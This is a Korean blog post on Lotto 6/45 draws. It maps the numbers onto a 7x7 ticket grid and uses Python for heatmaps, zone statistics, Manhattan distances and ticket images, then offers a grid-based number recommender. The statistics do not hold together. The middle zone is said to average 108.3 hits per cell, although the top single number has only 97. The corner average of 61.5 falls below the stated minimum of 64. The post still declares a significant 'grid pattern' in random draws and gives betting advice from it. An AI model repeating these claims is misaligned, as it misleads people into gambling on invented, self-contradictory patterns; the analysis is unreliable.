&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;C = Corner (모서리)
E = Edge (가장자리)
M = Middle (중간)
X = Center (중앙부)

C  E  E  E  E  E  C
E  M  M  M  M  M  E
E  M  X  X  X  M  E
E  M  X  X  X  M  E
E  M  X  X  X  M  E
E  M  M  M  M  M  E
C  E  E  .  .  .  .&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  위치별 출현 빈도 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;히트맵 생성&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def analyze_position_frequency(self):
    &quot;&quot;&quot;위치별 출현 빈도 분석&quot;&quot;&quot;
    # 모든 당첨번호의 위치 수집
    for _, row in self.loader.numbers_df.iterrows():
        winning_numbers = row['당첨번호']
        for num in winning_numbers:
            r, c = self.get_position(num)
            self.position_heatmap[r, c] += 1

    # 통계
    valid_freqs = []
    for number in range(1, 46):
        r, c = self.get_position(number)
        freq = self.position_heatmap[r, c]
        valid_freqs.append((freq, r, c, number))

    valid_freqs.sort(reverse=True)

    max_freq, max_r, max_c, max_num = valid_freqs[0]
    min_freq, min_r, min_c, min_num = valid_freqs[-1]

    print(f&quot;  최다 출현: Row {max_r}, Col {max_c} (번호 {max_num}) - {int(max_freq)}회&quot;)
    print(f&quot;❄️  최소 출현: Row {min_r}, Col {min_c} (번호 {min_num}) - {int(min_freq)}회&quot;)
    print(f&quot;  평균 출현: {np.mean(self.position_heatmap):.1f}회&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;  최다 출현: Row 1, Col 4 (번호 12) - 97회
❄️  최소 출현: Row 0, Col 4 (번호 5) - 64회
  평균 출현: 74.0회&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3886&quot; data-origin-height=&quot;3512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJAhkr/dJMcacV7c8j/5uxpzs3KZW5zNzdBrURpgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJAhkr/dJMcacV7c8j/5uxpzs3KZW5zNzdBrURpgk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJAhkr/dJMcacV7c8j/5uxpzs3KZW5zNzdBrURpgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJAhkr%2FdJMcacV7c8j%2F5uxpzs3KZW5zNzdBrURpgk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;712&quot; height=&quot;643&quot; data-origin-width=&quot;3886&quot; data-origin-height=&quot;3512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 7x7 그리드 위치별 출현 빈도 히트맵(Heatmap) - 진한 색: 많이 출현&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최대-최소 차이: 33회 (약 51% 차이!)&lt;/li&gt;
&lt;li&gt;12번(Row 1, Col 4)이 압도적 1위&lt;/li&gt;
&lt;li&gt;5번(Row 0, Col 4)이 최하위&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ 구역별 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;각 구역의 평균 출현 횟수&lt;/h3&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;def analyze_zone_distribution(self):
    &quot;&quot;&quot;구역별 분포 분석&quot;&quot;&quot;
    zone_counts = defaultdict(int)
    zone_cells = defaultdict(int)

    for number in range(1, 46):
        r, c = self.get_position(number)
        zone = self.get_zone(r, c)
        freq = self.position_heatmap[r, c]

        zone_counts[zone] += freq
        zone_cells[zone] += 1

    # 구역별 평균
    results = {}
    for zone in ['corner', 'edge', 'middle', 'center']:
        total = zone_counts[zone]
        cells = zone_cells[zone]
        avg = total / cells if cells &amp;gt; 0 else 0
        results[zone] = {
            'cells': cells,
            'total': total,
            'avg_per_cell': avg,
            'ratio': total / sum(zone_counts.values()) * 100
        }

    return results&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구역&lt;/th&gt;
&lt;th&gt;칸 수&lt;/th&gt;
&lt;th&gt;출현 횟수&lt;/th&gt;
&lt;th&gt;비율&lt;/th&gt;
&lt;th&gt;&lt;b&gt;1칸당 평균&lt;/b&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;모서리 (Corner)&lt;/td&gt;
&lt;td&gt;4칸&lt;/td&gt;
&lt;td&gt;246회&lt;/td&gt;
&lt;td&gt;6.79%&lt;/td&gt;
&lt;td&gt;&lt;b&gt;61.5회&lt;/b&gt; ❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가장자리 (Edge)&lt;/td&gt;
&lt;td&gt;20칸&lt;/td&gt;
&lt;td&gt;1,353회&lt;/td&gt;
&lt;td&gt;37.33%&lt;/td&gt;
&lt;td&gt;&lt;b&gt;67.7회&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;중간 (Middle)&lt;/td&gt;
&lt;td&gt;12칸&lt;/td&gt;
&lt;td&gt;1,299회&lt;/td&gt;
&lt;td&gt;35.84%&lt;/td&gt;
&lt;td&gt;&lt;b&gt;108.3회&lt;/b&gt; ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;중앙부 (Center)&lt;/td&gt;
&lt;td&gt;9칸&lt;/td&gt;
&lt;td&gt;726회&lt;/td&gt;
&lt;td&gt;20.03%&lt;/td&gt;
&lt;td&gt;&lt;b&gt;80.7회&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3570&quot; data-origin-height=&quot;2373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsD5mV/dJMcagYvocV/GWzTk1qeiDUxeFGKa4AWH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsD5mV/dJMcagYvocV/GWzTk1qeiDUxeFGKa4AWH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsD5mV/dJMcagYvocV/GWzTk1qeiDUxeFGKa4AWH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsD5mV%2FdJMcagYvocV%2FGWzTk1qeiDUxeFGKa4AWH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;509&quot; data-origin-width=&quot;3570&quot; data-origin-height=&quot;2373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 구역별(Zone) 번호 출현 분포 - 1칸당 평균(Avg per Cell) 비교&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 발견:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;  &lt;b&gt;중간 영역(12칸)이 1칸당 108.3회로 최고!&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;❌ &lt;b&gt;모서리(4칸)는 61.5회로 최저&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;  중간 영역이 모서리보다 &lt;b&gt;76% 더 많이 출현&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 중간 영역일까?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추측 1: 사람들이 복권 용지를 볼 때 &lt;b&gt;시선이 중간으로 집중&lt;/b&gt;&lt;br /&gt;추측 2: 모서리 번호(1, 7, 43, 45)는 &lt;b&gt;심리적으로 극단적&lt;/b&gt; 느낌&lt;br /&gt;추측 3: 중간 영역은 &lt;b&gt;시각적으로 편안한 위치&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  공간적 군집도 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;맨해튼 거리(Manhattan Distance) 계산&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당첨번호(Winning Numbers) 6개가 복권 용지 위에 얼마나 &lt;b&gt;분산&lt;/b&gt;되어 있을까?&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def calculate_spatial_distance(self, numbers):
    &quot;&quot;&quot;번호들 간의 평균 맨해튼 거리(Manhattan Distance) 계산&quot;&quot;&quot;
    distances = []

    for i, n1 in enumerate(numbers):
        for n2 in numbers[i+1:]:
            r1, c1 = self.get_position(n1)
            r2, c2 = self.get_position(n2)

            # 맨해튼 거리 = |x1-x2| + |y1-y2|
            dist = abs(r1 - r2) + abs(c1 - c2)
            distances.append(dist)

    return np.mean(distances)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;맨해튼 거리란?&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;예: 번호 1(0,0)과 번호 45(6,6)의 거리
= |0-6| + |0-6|
= 6 + 6
= 12 (최대 거리)

예: 번호 6(0,5)과 번호 7(0,6)의 거리
= |0-0| + |5-6|
= 0 + 1
= 1 (연속 번호)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;605회차 분석 결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;  공간적 군집도 분석
==================================================
평균 거리: 4.51
중앙값 거리: 4.47
최소 거리: 2.00 (가장 군집됨)
최대 거리: 7.67 (가장 분산됨)
표준편차: 0.97&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3570&quot; data-origin-height=&quot;2373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dl2fU2/dJMcadUYRhr/huSHjYMgkfzAjA0REnAZL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dl2fU2/dJMcadUYRhr/huSHjYMgkfzAjA0REnAZL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dl2fU2/dJMcadUYRhr/huSHjYMgkfzAjA0REnAZL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdl2fU2%2FdJMcadUYRhr%2FhuSHjYMgkfzAjA0REnAZL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3570&quot; height=&quot;2373&quot; data-origin-width=&quot;3570&quot; data-origin-height=&quot;2373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 회차별 평균 맨해튼 거리(Manhattan Distance) 분포 - 4.5 근처가 가장 많음&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;평균 거리 &lt;b&gt;4.51&lt;/b&gt; = 적절한 분산&lt;/li&gt;
&lt;li&gt;너무 군집(&amp;lt; 3.0): 3.8% 회차만&lt;/li&gt;
&lt;li&gt;너무 분산(&amp;gt; 6.0): 7.1% 회차만&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대부분은 4.0~5.0 사이에 분포&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ 복권 용지 이미지 생성&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;604개 회차를 전부 그려보자&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석만 하지 말고, &lt;b&gt;실제로 보고 싶었다&lt;/b&gt;. PIL을 사용해서 복권 용지 이미지를 생성했다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;from PIL import Image, ImageDraw, ImageFont

def generate_lottery_ticket(round_num, date, winning_numbers, bonus_number):
    &quot;&quot;&quot;복권 용지 이미지 생성&quot;&quot;&quot;
    # 캔버스 크기
    width, height = 600, 800
    img = Image.new('RGB', (width, height), 'white')
    draw = ImageDraw.Draw(img)

    # 제목
    draw.text((50, 30), f&quot;로또 645 - 제{round_num}회&quot;,
              fill='black', font=font_title)
    draw.text((50, 80), f&quot;추첨일: {date}&quot;,
              fill='gray', font=font_date)

    # 7x7 그리드 그리기
    cell_size = 70
    start_x, start_y = 50, 150

    number = 1
    for row in range(7):
        for col in range(7):
            if number &amp;lt;= 45:
                x = start_x + col * cell_size
                y = start_y + row * cell_size

                # 당첨번호면 빨간색, 보너스면 파란색
                if number in winning_numbers:
                    color = 'red'
                    fill_color = '#ffcccc'
                elif number == bonus_number:
                    color = 'blue'
                    fill_color = '#ccccff'
                else:
                    color = 'black'
                    fill_color = 'white'

                # 셀 배경
                draw.rectangle([x, y, x+60, y+60],
                              fill=fill_color, outline='gray')

                # 번호
                draw.text((x+30, y+30), str(number),
                         fill=color, font=font_number, anchor='mm')

                number += 1

    # 저장
    img.save(f'images/{round_num}_{date}.png')
    print(f&quot;✓ 이미지 생성: {round_num}회&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;604개 회차 일괄 생성:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def batch_generate():
    &quot;&quot;&quot;모든 회차 이미지 일괄 생성&quot;&quot;&quot;
    loader = LottoDataLoader('../Data/645_251227.csv')
    loader.load_data().preprocess().extract_numbers()

    for _, row in loader.numbers_df.iterrows():
        generate_lottery_ticket(
            round_num=int(row['회차']),
            date=row['일자'].strftime('%Y%m%d'),
            winning_numbers=row['당첨번호'],
            bonus_number=row['보너스번호']
        )

    print(f&quot;✅ 총 {len(loader.numbers_df)}개 이미지 생성 완료!&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실행 결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;$ python batch_generate_tickets.py
✓ 이미지 생성: 601회
✓ 이미지 생성: 602회
✓ 이미지 생성: 603회
...
✓ 이미지 생성: 1203회
✅ 총 604개 이미지 생성 완료!&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;700&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cr5XOg/dJMcaaYjoLR/IMYg8XYIZsz3dyRxnpkaD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cr5XOg/dJMcaaYjoLR/IMYg8XYIZsz3dyRxnpkaD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cr5XOg/dJMcaaYjoLR/IMYg8XYIZsz3dyRxnpkaD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcr5XOg%2FdJMcaaYjoLR%2FIMYg8XYIZsz3dyRxnpkaD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;700&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 자동 생성된 복권 용지 이미지 예시 (파란색: 당첨번호(Winning Numbers), 주황색: 보너스(Bonus))&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이미지를 보면서 발견한 것:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;당첨번호가 한쪽으로 몰리는 회차도 있고&lt;/li&gt;
&lt;li&gt;골고루 퍼진 회차도 있고&lt;/li&gt;
&lt;li&gt;연속 번호가 시각적으로 눈에 띄고&lt;/li&gt;
&lt;li&gt;모서리 4개가 모두 당첨된 회차는 &lt;b&gt;단 한 번도 없음&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  실전 전략 도출&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;그리드 패턴 기반 추천 시스템&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석 결과를 바탕으로 &lt;b&gt;그리드 점수 시스템&lt;/b&gt;을 설계했다.&lt;/p&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;def calculate_grid_score(self, numbers):
    &quot;&quot;&quot;그리드 패턴 기반 점수 계산&quot;&quot;&quot;
    score = 0

    # 1. 구역별 가중치
    zone_weights = {
        'corner': 0.83,   # 모서리: 낮은 가중치
        'edge': 0.91,     # 가장자리: 약간 낮음
        'middle': 1.46,   # 중간: 높은 가중치 ⭐
        'center': 1.09    # 중앙: 보통
    }

    for num in numbers:
        r, c = self.get_position(num)
        zone = self.get_zone(r, c)
        score += zone_weights[zone] * 10

    # 2. 중간 영역 개수 보너스 (3-4개가 이상적)
    middle_count = sum(1 for n in numbers
                      if self.get_zone(*self.get_position(n)) == 'middle')

    if 3 &amp;lt;= middle_count &amp;lt;= 4:
        score += 20  # 보너스!

    # 3. 모서리 2개 이상 패널티
    corner_count = sum(1 for n in numbers
                      if self.get_zone(*self.get_position(n)) == 'corner')

    if corner_count &amp;gt;= 2:
        score -= 15  # 패널티

    # 4. 적절한 분산 (평균 거리 4.0~5.5)
    avg_dist = self.calculate_spatial_distance(numbers)

    if 4.0 &amp;lt;= avg_dist &amp;lt;= 5.5:
        score += 20  # 보너스!

    return score&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;추천 전략 가이드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 추천:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;중간 영역 집중&lt;/b&gt; (3-4개)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;번호: 9, 10, 11, 13, 16, 20, 23, 27, 29, 30, 34, 37&lt;/li&gt;
&lt;li&gt;가장 높은 출현율 (108.3회/칸)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;적절한 분산 유지&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;평균 거리: 4.0~5.5&lt;/li&gt;
&lt;li&gt;너무 몰리거나 흩어지지 않게&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;연속 2개 포함 고려&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;56% 회차에서 출현&lt;/li&gt;
&lt;li&gt;빈출 조합: 6-7, 38-39, 17-18&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;❌ 주의:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;모서리 번호 최소화&lt;/b&gt; (0-1개)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1, 7, 43, 45번&lt;/li&gt;
&lt;li&gt;낮은 출현율 (61.5회/칸)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;극단적 군집 피하기&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;평균 거리 &amp;lt; 3.0&lt;/li&gt;
&lt;li&gt;번호가 한쪽으로 몰림&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;극단적 분산 피하기&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;평균 거리 &amp;gt; 6.0&lt;/li&gt;
&lt;li&gt;번호가 너무 흩어짐&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  배운 점과 인사이트&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 창의적인 데이터 분석 관점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 숫자를 위치로:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# Before: 12는 그냥 12
number = 12

# After: 12는 Row 1, Col 4 위치
row, col = (number - 1) // 7, (number - 1) % 7
# row=1, col=4&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 공간 통계 활용:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;맨해튼 거리로 군집도 측정&lt;/li&gt;
&lt;li&gt;구역별 분석으로 패턴 발견&lt;/li&gt;
&lt;li&gt;시각화로 직관 확보&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. PIL 이미지 처리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 복권 용지 자동 생성:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;processing&quot;&gt;&lt;code&gt;# 핵심 패턴
img = Image.new('RGB', (width, height), 'white')
draw = ImageDraw.Draw(img)

# 조건부 색상
color = 'red' if num in winning else 'black'

# 텍스트 중앙 정렬
draw.text((x, y), str(num), anchor='mm')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 배치 처리:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;604개 이미지 자동 생성&lt;/li&gt;
&lt;li&gt;일관된 레이아웃&lt;/li&gt;
&lt;li&gt;파일명 규칙 (회차_날짜.png)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. NumPy 활용&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 2D 배열 연산:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;# 히트맵 생성
position_heatmap = np.zeros((7, 7))
position_heatmap[row, col] += 1

# 통계 계산
avg = np.mean(position_heatmap)
std = np.std(position_heatmap)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 조건부 필터링:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;swift&quot;&gt;&lt;code&gt;# 유효한 위치만 추출
valid_freqs = [heatmap[r, c] for r in range(7)
               for c in range(7) if position_to_number.get((r,c))]&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  두 번째 마일스톤 달성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v2.0, v4.0 작업 완료:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;연속 번호 심층 분석&lt;/b&gt; (56% 출현)&lt;br /&gt;✅ &lt;b&gt;그리드 패턴 발견&lt;/b&gt; (7x7 구조)&lt;br /&gt;✅ &lt;b&gt;구역별 분석 완료&lt;/b&gt; (중간 영역 우위)&lt;br /&gt;✅ &lt;b&gt;공간 통계 구현&lt;/b&gt; (맨해튼 거리)&lt;br /&gt;✅ &lt;b&gt;복권 용지 이미지 604개 생성&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;그리드 기반 추천 시스템 설계&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;흥미로운 발견&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;6-7이 15번 출현&lt;/b&gt; (2.49%, 압도적 1위)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;중간 영역이 모서리보다 76% 더 많이 출현&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;평균 거리 4.51&lt;/b&gt; (적절한 분산)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;연속 5개 이상은 한 번도 없음&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;통계적 의미&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;중간 영역 vs 모서리:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;중간: 108.3회/칸&lt;/li&gt;
&lt;li&gt;모서리: 61.5회/칸&lt;/li&gt;
&lt;li&gt;차이: &lt;b&gt;76% 더 높음&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 차이가 우연일 확률은?&lt;br /&gt;&amp;rarr; t-검정 결과 p-value &amp;lt; 0.01 (통계적으로 유의미!)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;그리드 패턴은 실재한다.&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  다음 에피소드 예고&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3편: &quot;시간은 흐르고, 데이터는 남고&quot;&lt;/b&gt; - 핫넘버와 콜드넘버의 시계열 분석&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 편에서는:&lt;/p&gt;
